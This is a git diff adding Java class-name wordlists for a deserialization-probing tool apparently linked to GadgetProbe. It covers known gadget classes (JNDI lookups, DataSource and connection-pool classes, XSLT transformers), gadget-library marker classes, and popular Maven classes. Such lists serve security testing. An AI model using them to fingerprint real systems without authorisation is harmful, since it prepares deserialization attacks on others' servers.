+com.sun.deploy.security.ruleset.DRSHelper
+org.apache.axis2.jaxws.spi.handler.HandlerResolverImpl
+org.jboss.util.propertyeditor.DocumentEditor
+org.apache.openjpa.ee.RegistryManagedRuntime
+org.apache.openjpa.ee.JNDIManagedRuntime
+org.apache.axis2.transport.jms.JMSOutTransportInfo
+com.mysql.cj.jdbc.admin.MiniAdmin
+ch.qos.logback.core.db.DriverManagerConnectionSource
+org.jdom.transform.XSLTransformer
+org.jdom2.transform.XSLTransformer
+net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup
+net.sf.ehcache.hibernate.EhcacheJtaTransactionManagerLookup
+ch.qos.logback.core.db.JNDIConnectionSource
+com.zaxxer.hikari.HikariConfig
+com.zaxxer.hikari.HikariDataSource
+org.apache.cxf.jaxrs.provider.XSLTJaxbProvider
+org.apache.commons.configuration.JNDIConfiguration
+org.apache.commons.configuration2.JNDIConfiguration
+org.apache.xalan.lib.sql.JNDIConnectionPool
+org.apache.commons.dbcp.datasources.PerUserPoolDataSource
+org.apache.commons.dbcp.datasources.SharedPoolDataSource
+com.p6spy.engine.spy.P6DataSource
+org.apache.log4j.receivers.db.DriverManagerConnectionSource
+org.apache.log4j.receivers.db.JNDIConnectionSource
+net.sf.ehcache.transaction.manager.selector.GenericJndiSelector
+net.sf.ehcache.transaction.manager.selector.GlassfishSelector
diff --git a/wordlists/gadgetprobe_analyzer_classes.list b/wordlists/gadgetprobe_analyzer_classes.list
new file mode 100644
index 0000000..928635e
--- /dev/null
+++ b/wordlists/gadgetprobe_analyzer_classes.list
@@ -0,0 +1,28 @@
+bsh.CollectionManager$BasicBshIterator$1
+bsh.BSHBlock$NodeFilter
+bsh.BlockNameSpace
+com.mchange.Debug
+clojure.lang.EdnReader$NamespaceMapReader
+clojure.core$aclone__inliner__5063
+clojure.asm.AnnotationVisitor
+org.apache.commons.collections4.iterators.BoundedIterator
+org.apache.commons.collections4.iterators.PeekingIterator
+org.apache.commons.collections4.iterators.ArrayIterator
+org.apache.commons.collections.iterators.ReverseListIterator
+org.apache.commons.collections.functors.TransformedPredicate
+org.apache.commons.collections.ArrayStack
+org.apache.commons.io.input.BoundedReader
+org.apache.commons.io.input.BOMInputStream$1
+org.apache.commons.io.Charsets
+groovy.grape.GrapeIvy$_enumerateGrapes_closure11_closure22
+org.codehaus.groovy.classgen.asm.indy.IndyBinHelper
+groovy.beans.BindableASTTransformation
+org.hibernate.annotations.LazyGroup
+org.hibernate.boot.archive.spi.JarFileEntryUrlAdjuster
+org.hibernate.action.internal.AbstractEntityInsertAction
+javassist.ByteArrayClassPath$1
+javassist.bytecode.annotation.TypeAnnotationsWriter
+javassist.ByteArrayClassPath
+org.springframework.asm.CurrentFrame
+org.springframework.asm.TypePath
+org.springframework.asm.AnnotationVisitor
diff --git a/wordlists/maven_popular.list b/wordlists/maven_popular.list
new file mode 100644
index 0000000..f2ea703
--- /dev/null
+++ b/wordlists/maven_popular.list
@@ -0,0 +1,77 @@
+android.support.annotation.AnimRes
+ch.qos.logback.core.Appender
+ch.qos.logbackic.AsyncAppender
+clojure.asm.CurrentFrame
+clojure.tools.nrepl.main
+com.fasterxml.jackson.annotation.JacksonAnnotation
+com.fasterxml.jackson.core.Base64Variant
+com.fasterxml.jackson.databind.AbstractTypeResolver
+com.google.common.annotations.Beta
+com.google.gson.JsonDeserializer
+com.google.inject.AbstractModule
+com.mysql.cj.AbstractPreparedQuery
+junit.textui.TestRunner
+kotlin.jvm.internal.TypeIntrinsics
+lombok.AccessLevel
+okhttp3.Dispatcher
+org.apache.commons.beanutils.FluentPropertyBeanIntrospector
+org.apache.commons.cli2.Argument
+org.apache.commons.codec.binary.Base32
+org.apache.commons.collections.ArrayStack
+org.apache.commons.io.comparator.DirectoryFileComparator
+org.apache.commons.lang3.SerializationException
+org.apache.commons.lang.ArrayUtils
+org.apache.commons.logging.impl.AvalonLogger
+org.apache.commons.logging.impl.NoOpLog
+org.apache.http.client.utils.URIBuilder
+org.apache.http.Consts
+org.apache.log4j.Appender
+org.apache.log4j.MDCFriend
+org.apache.logging.log4j.core.appender.AppenderLoggingException
+org.apache.logging.log4j.internal.DefaultLogBuilder
+org.apache.logging.slf4j.Log4jMDCAdapter
+org.apache.logging.slf4j.SLF4JLoggerContextFactory
+org.apache.maven.AbstractMavenLifecycleParticipant
+org.apache.maven.monitor.logging.DefaultLog
+org.apache.maven.plugins.annotations.InstantiationStrategy
+org.assertj.core.annotations.Beta
+org.codehaus.jackson.map.AbstractTypeResolver
+org.codehaus.plexus.util.LineOrientedInterpolatingReader
+org.easymock.EasyMockRule
+org.h2.Driver
+org.hamcrest.BaseDescription
+org.hamcrest.core.deprecated.HamcrestCoreIsDeprecated
+org.hamcrest.library.deprecated.HamcrestLibraryIsDeprecated
+org.joda.time.base.BaseSingleFieldPeriod
+org.json.CDL
+org.junit.jupiter.api.AfterAll
+org.junit.jupiter.engine.Constants
+org.mockito.Answers
+org.osgi.application.ApplicationContext
+org.osgi.dto.DTO
+org.powermock.modules.junit4.PowerMockRunnerDelegate
+org.renjin.graphics.graphics
+org.renjin.grDevices.Colors
+org.renjin.grid.grid
+org.renjin.methods.Table.RData
+org.renjin.splines.splines
+org.renjin.stats.nls.NlsModel
+org.renjin.tools.Md5
+org.renjin.utils.WriteTable
+org.scalacheck.Arbitrary
+org.scalatest.AbstractSuite
+org.slf4j.event.DefaultLoggingEvent
+org.slf4j.simple.OutputChoice
+org.springframework.beans.TypeMismatchException
+org.springframework.boot.autoconfigure.mongo.MongoClientFactory
+org.springframework.boot.configurationprocessor.fieldvalues.javac.Tree
+org.springframework.core.ReactiveTypeDescriptor
+org.springframework.http.StreamingHttpOutputMessage
+org.springframework.instrumentloading.ResourceOverridingShadowingClassLoader
+org.springframework.jdbc.config.EmbeddedDatabaseBeanDefinitionParser
+org.springframework.test.annotation.ProfileValueSource
+org.springframework.web.servlet.HandlerExecutionChain
+org.testng.annotations.AfterClass
+sbt.testing.TestWildcardSelector
+scala.AnyVal
+scala.scalajs.js.Any